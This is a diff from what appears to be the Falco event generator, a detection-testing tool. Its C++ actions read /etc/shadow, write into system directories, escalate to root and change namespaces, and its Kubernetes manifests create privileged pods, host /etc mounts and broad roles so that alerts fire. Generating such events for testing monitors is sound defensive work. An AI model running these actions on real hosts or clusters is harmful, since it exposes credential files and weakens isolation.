(char *)"--interval", (char *)interval,
(char *)"--once", NULL};
char *env[] = {NULL};
spawn(cmd, argv, env);
}
void write_binary_dir()
{
printf("Writing to /bin/created-by-event-generator-sh...\n");
touch("/bin/created-by-event-generator-sh");
}
void write_etc()
{
printf("Writing to /etc/created-by-event-generator-sh...\n");
touch("/etc/created-by-event-generator-sh");
}
void read_sensitive_file()
{
printf("Reading /etc/shadow...\n");
read("/etc/shadow");
}
void read_sensitive_file_after_startup()
{
printf("Becoming the program \"httpd\", sleeping 6 seconds and reading /etc/shadow...\n");
respawn("./httpd", "read_sensitive_file", "6");
}
void write_rpm_database()
{
printf("Writing to /var/lib/rpm/created-by-event-generator-sh...\n");
touch("/var/lib/rpm/created-by-event-generator-sh");
}
void spawn_shell()
{
printf("Spawning a shell to run \"ls > /dev/null\" using system()...\n");
int rc;
if((rc = system("ls > /dev/null")) != 0)
{
fprintf(stderr, "Could not run ls > /dev/null in a shell: %s\n", strerror(errno));
}
}
void spawn_shell_under_httpd()
{
printf("Becoming the program \"httpd\" and then spawning a shell\n");
respawn("./httpd", "spawn_shell", "0");
}
void db_program_spawn_process()
{
printf("Becoming the program \"mysql\" and then running ls\n");
respawn("./mysqld", "exec_ls", "0");
}
void modify_binary_dirs()
{
printf("Moving /bin/true to /bin/true.event-generator-sh and back...\n");
if(rename("/bin/true", "/bin/true.event-generator-sh") != 0)
{
fprintf(stderr, "Could not rename \"/bin/true\" to \"/bin/true.event-generator-sh\": %s\n", strerror(errno));
}
else
{
if(rename("/bin/true.event-generator-sh", "/bin/true") != 0)
{
fprintf(stderr, "Could not rename \"/bin/true.event-generator-sh\" to \"/bin/true\": %s\n", strerror(errno));
}
}
}
void mkdir_binary_dirs()
{
printf("Creating directory /bin/directory-created-by-event-generator-sh...\n");
if(mkdir("/bin/directory-created-by-event-generator-sh", 0644) != 0)
{
fprintf(stderr, "Could not create directory \"/bin/directory-created-by-event-generator-sh\": %s\n", strerror(errno));
}
}
void change_thread_namespace()
{
printf("Calling setns() to change namespaces...\n");
printf("NOTE: does not result in a falco notification in containers, unless container run with --privileged or --security-opt seccomp=unconfined\n");
// It doesn't matter that the arguments to setns are
// bogus. It's the attempt to call it that will trigger the
// rule.
setns(0, 0);
}
void system_user_interactive()
{
pid_t child;
printf("Forking a child that becomes user=daemon and then tries to run /bin/login...\n");
// Fork a child and do everything in the child.
if((child = fork()) == 0)
{
become_user("daemon");
char *argv[] = {(char *)"/bin/login", NULL};
char *env[] = {NULL};
spawn("/bin/login", argv, env);
exit(0);
}
else
{
int status;
waitpid(child, &status, 0);
}
}
void network_activity()
{
printf("Connecting a udp socket to 10.2.3.4:8192...\n");
int rc;
int sock = socket(PF_INET, SOCK_DGRAM, 0);
struct sockaddr_in localhost;
localhost.sin_family = AF_INET;
localhost.sin_port = htons(8192);
inet_aton("10.2.3.4", &(localhost.sin_addr));
if((rc = connect(sock, (struct sockaddr *)&localhost, sizeof(localhost))) != 0)
{
fprintf(stderr, "Could not bind listening socket to localhost: %s\n", strerror(errno));
return;
}
close(sock);
}
void system_procs_network_activity()
{
printf("Becoming the program \"sha1sum\" and then performing network activity\n");
respawn("./sha1sum", "network_activity", "0");
}
void non_sudo_setuid()
{
pid_t child;
printf("Forking a child that becomes \"daemon\" user and then \"root\"...\n");
// Fork a child and do everything in the child.
if((child = fork()) == 0)
{
// First setuid to something non-root. Then try to setuid back to root.
become_user("daemon");
become_user("root");
exit(0);
}
else
{
int status;
waitpid(child, &status, 0);
}
}
void create_files_below_dev()
{
printf("Creating /dev/created-by-event-generator-sh...\n");
touch("/dev/created-by-event-generator-sh");
}
void exec_ls()
{
char *argv[] = {(char *)"/bin/ls", NULL};
char *env[] = {NULL};
spawn("/bin/ls", argv, env);
}
void user_mgmt_binaries()
{
printf("Becoming the program \"vipw\" and then running the program /bin/ls\n");
printf("NOTE: does not result in a falco notification in containers\n");
respawn("./vipw", "exec_ls", "0");
}
typedef void (*action_t)();
map<string, action_t> defined_actions = {{"write_binary_dir", write_binary_dir},
{"write_etc", write_etc},
{"read_sensitive_file", read_sensitive_file},
{"read_sensitive_file_after_startup", read_sensitive_file_after_startup},
{"write_rpm_database", write_rpm_database},
{"spawn_shell", spawn_shell},
{"spawn_shell_under_httpd", spawn_shell_under_httpd},
{"db_program_spawn_process", db_program_spawn_process},
{"modify_binary_dirs", modify_binary_dirs},
{"mkdir_binary_dirs", mkdir_binary_dirs},
{"change_thread_namespace", change_thread_namespace},
{"system_user_interactive", system_user_interactive},
{"network_activity", network_activity},
{"system_procs_network_activity", system_procs_network_activity},
{"non_sudo_setuid", non_sudo_setuid},
{"create_files_below_dev", create_files_below_dev},
{"exec_ls", exec_ls},
{"user_mgmt_binaries", user_mgmt_binaries},
{"exfiltration", exfiltration}};
// Some actions don't directly result in suspicious behavior. These
// actions are excluded from the ones run with -a all.
set<string> exclude_from_all_actions = {"spawn_shell", "exec_ls", "network_activity"};
void create_symlinks(const char *program)
{
int rc;
// Some actions depend on this program being re-run as
// different program names like 'mysqld', 'httpd', etc. This
// sets up all the required symlinks.
const char *progs[] = {"./httpd", "./mysqld", "./sha1sum", "./vipw", NULL};
for(unsigned int i = 0; progs[i] != NULL; i++)
{
unlink(progs[i]);
if((rc = symlink(program, progs[i])) != 0)
{
fprintf(stderr, "Could not link \"./event_generator\" to \"%s\": %s\n", progs[i], strerror(errno));
}
}
}
void run_actions(map<string, action_t> &actions, int interval, bool once)
{
while(true)
{
for(auto action : actions)
{
printf("***Action %s\n", action.first.c_str());
action.second();
sleep(interval);
}
if(once)
{
break;
}
}
}
int main(int argc, char **argv)
{
map<string, action_t> actions;
int op;
int long_index = 0;
int interval = 1;
bool once = false;
map<string, action_t>::iterator it;
static struct option long_options[] =
{
{"help", no_argument, 0, 'h'},
{"action", required_argument, 0, 'a'},
{"interval", required_argument, 0, 'i'},
{"once", no_argument, 0, 'o'},
{0, 0}};
//
// Parse the args
//
while((op = getopt_long(argc, argv,
"ha:i:l:o",
long_options, &long_index)) != -1)
{
switch(op)
{
case 'h':
usage(argv[0]);
exit(1);
case 'a':
// "all" is already implied
if(strcmp(optarg, "all") != 0)
{
if((it = defined_actions.find(optarg)) == defined_actions.end())
{
fprintf(stderr, "No action with name \"%s\" known, exiting.\n", optarg);
exit(1);
}
actions.insert(*it);
}
break;
case 'i':
interval = atoi(optarg);
break;
case 'o':
once = true;
break;
default:
usage(argv[0]);
exit(1);
}
}
//
// Also look for actions in the environment. If specified, they
// override any specified on the command line.
//
char *env_action = getenv("EVENT_GENERATOR_ACTIONS");
if(env_action)
{
actions.clear();
string envs(env_action);
istringstream ss(envs);
string item;
while(std::getline(ss, item, ':'))
{
if((it = defined_actions.find(item)) == defined_actions.end())
{
fprintf(stderr, "No action with name \"%s\" known, exiting.\n", item.c_str());
exit(1);
}
actions.insert(*it);
}
}
if(actions.size() == 0)
{
for(auto &act : defined_actions)
{
if(exclude_from_all_actions.find(act.first) == exclude_from_all_actions.end())
{
actions.insert(act);
}
}
}
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
// Only create symlinks when running as the program event_generator
if(strstr(argv[0], "generator"))
{
create_symlinks(argv[0]);
}
run_actions(actions, interval, once);
}

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@@ -0,0 +1,57 @@
#!/bin/bash
set -euo pipefail
# You can pass a specific falco rule name and only yaml files matching
# that rule will be considered. The default is "all", meaning all yaml
# files will be applied.
RULE=${1:-all}
# Replace any '/' in RULES with a '.' and any space with a dash. (K8s
# label values can not contain slashes/spaces)
RULE=$(echo "$RULE" | tr '/ ' '.-')
echo "***Testing kubectl configuration..."
kubectl version --short
while true; do
RET=$(kubectl get namespaces --output=name | grep falco-event-generator || true)
if [[ "$RET" == *falco-event-generator* ]]; then
echo "***Deleting existing falco-event-generator namespace..."
kubectl delete namespace falco-event-generator
fi
echo "***Creating falco-event-generator namespace..."
kubectl create namespace falco-event-generator
for file in yaml/*.yaml; do
MATCH=0
if [[ "${RULE}" == "all" ]]; then
MATCH=1
else
RET=$(grep -E "falco.rules:.*${RULE}" $file || true)
if [[ "$RET" != "" ]]; then
MATCH=1
fi
fi
if [[ $MATCH == 1 ]]; then
MESSAGES=$(grep -E 'message' $file | cut -d: -f2 | tr '\n' ',')
RULES=$(grep -E 'falco.rules' $file | cut -d: -f2 | tr '\n' ',')
# The message uses dashes in place of spaces, convert them back to spaces
MESSAGES=$(echo "$MESSAGES" | tr '-' ' ' | sed -e 's/ *//' | sed -e 's/,$//')
RULES=$(echo "$RULES" | tr '-' ' '| tr '.' '/' | sed -e 's/ *//' | sed -e 's/,$//')
echo "***$MESSAGES (Rule(s) $RULES)..."
kubectl apply -f $file
sleep 2
fi
done
sleep 10
done

View File

@@ -0,0 +1,16 @@
apiVersion: v1
kind: ConfigMap
metadata:
name: private-creds-configmap
namespace: falco-event-generator
labels:
app.kubernetes.io/name: private-creds-configmap
app.kubernetes.io/part-of: falco-event-generator
falco.rules: Create.Modify-Configmap-With-Private-Credentials
message: Creating-configmap-with-private-credentials
data:
ui.properties: |
color.good=purple
color.bad=yellow
allow.textmode=true
password=some_secret_password

View File

@@ -0,0 +1,25 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: disallowed-pod-deployment
namespace: falco-event-generator
labels:
app.kubernetes.io/name: disallowed-pod-deployment
app.kubernetes.io/part-of: falco-event-generator
falco.rules: Create-Disallowed-Pod
message: Creating-pod-with-image-outside-of-allowed-images
spec:
replicas: 1
selector:
matchLabels:
app.kubernetes.io/name: disallowed-pod-busybox
template:
metadata:
labels:
app.kubernetes.io/name: disallowed-pod-busybox
app.kubernetes.io/part-of: falco-event-generator
spec:
containers:
- name: busybox
image: busybox
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]

View File

@@ -0,0 +1,26 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: hostnetwork-deployment
namespace: falco-event-generator
labels:
app.kubernetes.io/name: hostnetwork-deployment
app.kubernetes.io/part-of: falco-event-generator
falco.rules: Create-HostNetwork-Pod
message: Creating-deployment-with-hostNetwork-true-pod
spec:
replicas: 1
selector:
matchLabels:
app.kubernetes.io/name: hostnetwork-busybox
template:
metadata:
labels:
app.kubernetes.io/name: hostnetwork-busybox
app.kubernetes.io/part-of: falco-event-generator
spec:
hostNetwork: true
containers:
- name: busybox
image: busybox
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]

View File

@@ -0,0 +1,16 @@
apiVersion: v1
kind: Service
metadata:
name: nodeport-service
namespace: falco-event-generator
labels:
app.kubernetes.io/name: nodeport-service
app.kubernetes.io/part-of: falco-event-generator
falco.rules: Create-NodePort-Service
message: Creating-service-of-type-NodePort
spec:
type: NodePort
ports:
- port: 80
selector:
app: busybox

View File

@@ -0,0 +1,27 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: privileged-deployment
namespace: falco-event-generator
labels:
app.kubernetes.io/name: privileged-deployment
app.kubernetes.io/part-of: falco-event-generator
falco.rules: Create-Privileged-Pod
message: Creating-deployment-with-privileged-true-pod
spec:
replicas: 1
selector:
matchLabels:
app.kubernetes.io/name: privileged-busybox
template:
metadata:
labels:
app.kubernetes.io/name: privileged-busybox
app.kubernetes.io/part-of: falco-event-generator
spec:
containers:
- securityContext:
privileged: true
name: busybox
image: busybox
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]

View File

@@ -0,0 +1,17 @@
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: pod-exec-role
namespace: falco-event-generator
labels:
app.kubernetes.io/name: pod-exec-role
app.kubernetes.io/part-of: falco-event-generator
falco.rules: ClusterRole-With-Pod-Exec-Created
message: Creating-role-that-can-exec-to-pods
rules:
- apiGroups:
- ""
resources:
- "pods/exec"
verbs:
- get

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@@ -0,0 +1,17 @@
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: wildcard-resources-role
namespace: falco-event-generator
labels:
app.kubernetes.io/name: wildcard-resources-role
app.kubernetes.io/part-of: falco-event-generator
falco.rules: ClusterRole-With-Write-Privileges-Created
message: Creating-role-with-wildcard-resources
rules:
- apiGroups:
- ""
resources:
- "*"
verbs:
- get

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@@ -0,0 +1,17 @@
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: write-privileges-role
namespace: falco-event-generator
labels:
app.kubernetes.io/name: write-privileges-role
app.kubernetes.io/part-of: falco-event-generator
falco.rules: ClusterRole-With-Write-Privileges-Created
message: Creating-role-with-write-privileges
rules:
- apiGroups:
- ""
resources:
- "pods"
verbs:
- create

View File

@@ -0,0 +1,32 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: sensitive-mount-deployment
namespace: falco-event-generator
labels:
app.kubernetes.io/name: sensitive-mount-deployment
app.kubernetes.io/part-of: falco-event-generator
falco.rules: Create-Sensitive-Mount-Pod
message: Creating-deployment-with-pod-mounting-sensitive-path-from-host
spec:
replicas: 1
selector:
matchLabels:
app.kubernetes.io/name: sensitive-mount-busybox
template:
metadata:
labels:
app.kubernetes.io/name: sensitive-mount-busybox
app.kubernetes.io/part-of: falco-event-generator
spec:
containers:
- name: busybox
image: busybox
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
volumeMounts:
- mountPath: /host/etc
name: etc
volumes:
- name: etc
hostPath:
path: /etc

View File

@@ -0,0 +1,15 @@
apiVersion: v1
kind: ConfigMap
metadata:
name: vanilla-configmap
namespace: falco-event-generator
labels:
app.kubernetes.io/name: vanilla-configmap
app.kubernetes.io/part-of: falco-event-generator
falco.rules: K8s-ConfigMap-Created
message: Creating-configmap
data:
ui.properties: |
color.good=purple
color.bad=yellow
allow.textmode=true

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@@ -0,0 +1,25 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: vanilla-deployment
namespace: falco-event-generator
labels:
app.kubernetes.io/name: vanilla-deployment
app.kubernetes.io/part-of: falco-event-generator
falco.rules: K8s-Deployment-Created
message: Creating-deployment
spec:
replicas: 1
selector:
matchLabels:
app.kubernetes.io/name: vanilla-busybox
template:
metadata:
labels:
app.kubernetes.io/name: vanilla-busybox
app.kubernetes.io/part-of: falco-event-generator
spec:
containers:
- name: busybox
image: busybox
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]

View File

@@ -0,0 +1,46 @@
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: vanilla-role
namespace: falco-event-generator
labels:
app.kubernetes.io/name: vanilla-role
app.kubernetes.io/part-of: falco-event-generator
falco.rules: K8s-Role.Clusterrole-Created
message: Creating-role
rules:
- apiGroups:
- ""
resources:
- "pods"
verbs:
- list
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: vanilla-role-binding
namespace: falco-event-generator
labels:
app.kubernetes.io/name: vanilla-role-binding
app.kubernetes.io/part-of: falco-event-generator
falco.rules: K8s-Role.Clusterrolebinding-Created
message: Creating-rolebinding
roleRef:
kind: Role
name: vanilla-role
apiGroup: rbac.authorization.k8s.io
subjects:
- kind: ServiceAccount
name: vanilla-service-account
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: vanilla-serviceaccount
namespace: falco-event-generator
labels:
app.kubernetes.io/name: vanilla-serviceaccount
app.kubernetes.io/part-of: falco-event-generator
falco.rules: K8s-Serviceaccount-Created
message: Creating-serviceaccount

View File

@@ -0,0 +1,16 @@
apiVersion: v1
kind: Service
metadata:
name: vanilla-service
namespace: falco-event-generator
labels:
app.kubernetes.io/name: vanilla-service
app.kubernetes.io/part-of: falco-event-generator
falco.rules: K8s-Service-Created
message: Creating-service
spec:
type: ClusterIP
ports:
- port: 80
selector:
app: busybox

View File

@@ -1,129 +0,0 @@
FROM debian:buster
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
LABEL usage="docker run -i -t --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc --name NAME IMAGE"
ARG TARGETARCH
ARG FALCO_VERSION=latest
ARG VERSION_BUCKET=deb
ENV VERSION_BUCKET=${VERSION_BUCKET}
ENV FALCO_VERSION=${FALCO_VERSION}
ENV HOST_ROOT /host
ENV HOME /root
RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
bash-completion \
bc \
bison \
clang-7 \
ca-certificates \
curl \
dkms \
flex \
gnupg2 \
gcc \
jq \
libc6-dev \
libelf-dev \
libssl-dev \
llvm-7 \
netcat \
patchelf \
xz-utils \
&& rm -rf /var/lib/apt/lists/*
RUN if [ "$TARGETARCH" = "amd64" ]; \
then apt-get install -y --no-install-recommends libmpx2; \
fi
# gcc 6 is no longer included in debian stable, but we need it to
# build kernel modules on the default debian-based ami used by
# kops. So grab copies we've saved from debian snapshots with the
# prefix https://snapshot.debian.org/archive/debian/20170517T033514Z
# or so.
RUN if [ "$TARGETARCH" = "amd64" ]; then curl -L -o libcilkrts5_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libcilkrts5_6.3.0-18_${TARGETARCH}.deb; fi; \
curl -L -o cpp-6_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/cpp-6_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o gcc-6-base_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-6-base_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o gcc-6_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-6_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o libasan3_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libasan3_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o libubsan0_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libubsan0_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o libmpfr4_3.1.3-2_${TARGETARCH}.deb https://download.falco.org/dependencies/libmpfr4_3.1.3-2_${TARGETARCH}.deb \
&& curl -L -o libisl15_0.18-1_${TARGETARCH}.deb https://download.falco.org/dependencies/libisl15_0.18-1_${TARGETARCH}.deb \
&& dpkg -i cpp-6_6.3.0-18_${TARGETARCH}.deb gcc-6-base_6.3.0-18_${TARGETARCH}.deb gcc-6_6.3.0-18_${TARGETARCH}.deb libasan3_6.3.0-18_${TARGETARCH}.deb; \
if [ "$TARGETARCH" = "amd64" ]; then dpkg -i libcilkrts5_6.3.0-18_${TARGETARCH}.deb; fi; \
dpkg -i libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb libubsan0_6.3.0-18_${TARGETARCH}.deb libmpfr4_3.1.3-2_${TARGETARCH}.deb libisl15_0.18-1_${TARGETARCH}.deb \
&& rm -f cpp-6_6.3.0-18_${TARGETARCH}.deb gcc-6-base_6.3.0-18_${TARGETARCH}.deb gcc-6_6.3.0-18_${TARGETARCH}.deb libasan3_6.3.0-18_${TARGETARCH}.deb libcilkrts5_6.3.0-18_${TARGETARCH}.deb libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb libubsan0_6.3.0-18_${TARGETARCH}.deb libmpfr4_3.1.3-2_${TARGETARCH}.deb libisl15_0.18-1_${TARGETARCH}.deb
# gcc 5 is no longer included in debian stable, but we need it to
# build centos kernels, which are 3.x based and explicitly want a gcc
# version 3, 4, or 5 compiler. So grab copies we've saved from debian
# snapshots with the prefix https://snapshot.debian.org/archive/debian/20190122T000000Z.
RUN if [ "$TARGETARCH" = "amd64" ]; then curl -L -o libmpx0_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libmpx0_5.5.0-12_${TARGETARCH}.deb; fi; \
curl -L -o cpp-5_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/cpp-5_5.5.0-12_${TARGETARCH}.deb \
&& curl -L -o gcc-5-base_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-5-base_5.5.0-12_${TARGETARCH}.deb \
&& curl -L -o gcc-5_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-5_5.5.0-12_${TARGETARCH}.deb \
&& curl -L -o libasan2_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libasan2_5.5.0-12_${TARGETARCH}.deb \
&& curl -L -o libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb \
&& curl -L -o libisl15_0.18-4_${TARGETARCH}.deb https://download.falco.org/dependencies/libisl15_0.18-4_${TARGETARCH}.deb \
&& dpkg -i cpp-5_5.5.0-12_${TARGETARCH}.deb gcc-5-base_5.5.0-12_${TARGETARCH}.deb gcc-5_5.5.0-12_${TARGETARCH}.deb libasan2_5.5.0-12_${TARGETARCH}.deb; \
if [ "$TARGETARCH" = "amd64" ]; then dpkg -i libmpx0_5.5.0-12_${TARGETARCH}.deb; fi; \
dpkg -i libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb libisl15_0.18-4_${TARGETARCH}.deb \
&& rm -f cpp-5_5.5.0-12_${TARGETARCH}.deb gcc-5-base_5.5.0-12_${TARGETARCH}.deb gcc-5_5.5.0-12_${TARGETARCH}.deb libasan2_5.5.0-12_${TARGETARCH}.deb libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb libisl15_0.18-4_${TARGETARCH}.deb libmpx0_5.5.0-12_${TARGETARCH}.deb
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
# default to gcc-5.
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
RUN rm -rf /usr/bin/clang \
&& rm -rf /usr/bin/llc \
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
&& ln -s /usr/bin/llc-7 /usr/bin/llc
RUN curl -s https://falco.org/repo/falcosecurity-3672BA8F.asc | apt-key add - \
&& echo "deb https://download.falco.org/packages/${VERSION_BUCKET} stable main" | tee -a /etc/apt/sources.list.d/falcosecurity.list \
&& apt-get update -y \
&& if [ "$FALCO_VERSION" = "latest" ]; then apt-get install -y --no-install-recommends falco; else apt-get install -y --no-install-recommends falco=${FALCO_VERSION}; fi \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
# Change the falco config within the container to enable ISO 8601
# output.
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
# Some base images have an empty /lib/modules by default
# If it's not empty, docker build will fail instead of
# silently overwriting the existing directory
RUN rm -df /lib/modules \
&& ln -s $HOST_ROOT/lib/modules /lib/modules
# debian:stable head contains binutils 2.31, which generates
# binaries that are incompatible with kernels < 4.16. So manually
# forcibly install binutils 2.30-22 instead.
RUN if [ "$TARGETARCH" = "amd64" ] ; then \
curl -L -o binutils-x86-64-linux-gnu_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-x86-64-linux-gnu_2.30-22_${TARGETARCH}.deb; \
else \
curl -L -o binutils-aarch64-linux-gnu_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-aarch64-linux-gnu_2.30-22_${TARGETARCH}.deb; \
fi
RUN curl -L -o binutils_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils_2.30-22_${TARGETARCH}.deb \
&& curl -L -o libbinutils_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/libbinutils_2.30-22_${TARGETARCH}.deb \
&& curl -L -o binutils-common_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-common_2.30-22_${TARGETARCH}.deb \
&& dpkg -i *binutils*.deb \
&& rm -f *binutils*.deb
COPY ./docker-entrypoint.sh /
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["/usr/bin/falco"]

View File

@@ -0,0 +1,38 @@
ARG ALPINE_VERSION=3.10
ARG KERNEL_VERSION=4.9.184
ARG FALCO_VERSION=0.19.0
FROM linuxkit/kernel:${KERNEL_VERSION} AS ksrc
FROM falcosecurity/falco:${FALCO_VERSION}-minimal as falco
FROM alpine:${ALPINE_VERSION} AS probe-build
LABEL maintainer="opensource@sysdig.com"
ARG KERNEL_VERSION=4.9.184
ARG FALCO_VERSION=0.19.0
ENV FALCO_VERSION=${FALCO_VERSION}
ENV KERNEL_VERSION=${KERNEL_VERSION}
COPY --from=ksrc /kernel-dev.tar /
COPY --from=falco /usr/src/falco-${FALCO_VERSION} /usr/src/falco-${FALCO_VERSION}
RUN apk add --no-cache --update \
build-base gcc abuild binutils \
bc \
autoconf && \
export KERNELVER=`uname -r | cut -d '-' -f 1` && \
export KERNELDIR=/usr/src/linux-headers-${KERNEL_VERSION}-linuxkit/ && \
tar xf /kernel-dev.tar && \
cd $KERNELDIR && \
zcat /proc/1/root/proc/config.gz > .config && \
make olddefconfig && \
cd /usr/src/falco-${FALCO_VERSION} && \
make && \
apk del \
build-base gcc abuild binutils \
bc \
autoconf
FROM alpine:${ALPINE_VERSION}
ARG FALCO_VERSION=0.19.0
ENV FALCO_VERSION=${FALCO_VERSION}
COPY --from=probe-build /usr/src/falco-${FALCO_VERSION}/falco-probe.ko /
CMD ["insmod","/falco-probe.ko"]

View File

@@ -0,0 +1,18 @@
FROM golang:1.13-alpine AS build
ARG FALCOCTL_REF=2be3df92edbac668284fe5c165ccb5bd6bf4e869
RUN apk --no-cache add build-base git gcc ca-certificates
RUN git clone https://github.com/falcosecurity/falcoctl.git /falcoctl
WORKDIR /falcoctl
RUN git checkout ${FALCOCTL_REF}
RUN go mod vendor
RUN CGO_ENABLED=0 GOOS=linux go build -a -o falcoctl -ldflags '-extldflags "-static"' .
FROM scratch
LABEL maintainer="opensource@sysdig.com"
COPY --from=build /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/ca-certificates.crt
COPY --from=build /falcoctl/falcoctl /falcoctl
CMD ["/falcoctl", "install", "probe"]

View File

@@ -1,9 +1,7 @@
FROM debian:buster
FROM debian:unstable
LABEL usage="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
ARG TARGETARCH
LABEL maintainer="opensource@sysdig.com"
ARG FALCO_VERSION=
RUN test -n FALCO_VERSION
@@ -15,112 +13,102 @@ ENV HOME /root
RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
bash-completion \
bc \
clang-7 \
ca-certificates \
curl \
dkms \
gnupg2 \
gcc \
jq \
libc6-dev \
libelf-dev \
libyaml-0-2 \
llvm-7 \
netcat \
xz-utils \
libmpc3 \
binutils \
libgomp1 \
libitm1 \
libatomic1 \
liblsan0 \
libtsan0 \
libcc1-0 \
patchelf \
&& rm -rf /var/lib/apt/lists/*
&& apt-get install -y --no-install-recommends \
bash-completion \
bc \
clang-7 \
ca-certificates \
curl \
dkms \
gnupg2 \
gcc \
jq \
libc6-dev \
libelf-dev \
libyaml-0-2 \
llvm-7 \
netcat \
xz-utils \
libmpc3 \
binutils \
libgomp1 \
libitm1 \
libatomic1 \
liblsan0 \
libtsan0 \
libmpx2 \
libquadmath0 \
libcc1-0 \
&& rm -rf /var/lib/apt/lists/*
RUN if [ "$TARGETARCH" = "amd64" ]; \
then apt-get install -y --no-install-recommends libmpx2 libquadmath0; \
fi
# gcc 6 is no longer included in debian stable, but we need it to
# gcc 6 is no longer included in debian unstable, but we need it to
# build kernel modules on the default debian-based ami used by
# kops. So grab copies we've saved from debian snapshots with the
# prefix https://snapshot.debian.org/archive/debian/20170517T033514Z
# or so.
RUN if [ "$TARGETARCH" = "amd64" ]; then curl -L -o libcilkrts5_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libcilkrts5_6.3.0-18_${TARGETARCH}.deb; fi; \
curl -L -o cpp-6_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/cpp-6_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o gcc-6-base_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-6-base_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o gcc-6_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-6_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o libasan3_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libasan3_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o libubsan0_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libubsan0_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o libmpfr4_3.1.3-2_${TARGETARCH}.deb https://download.falco.org/dependencies/libmpfr4_3.1.3-2_${TARGETARCH}.deb \
&& curl -L -o libisl15_0.18-1_${TARGETARCH}.deb https://download.falco.org/dependencies/libisl15_0.18-1_${TARGETARCH}.deb \
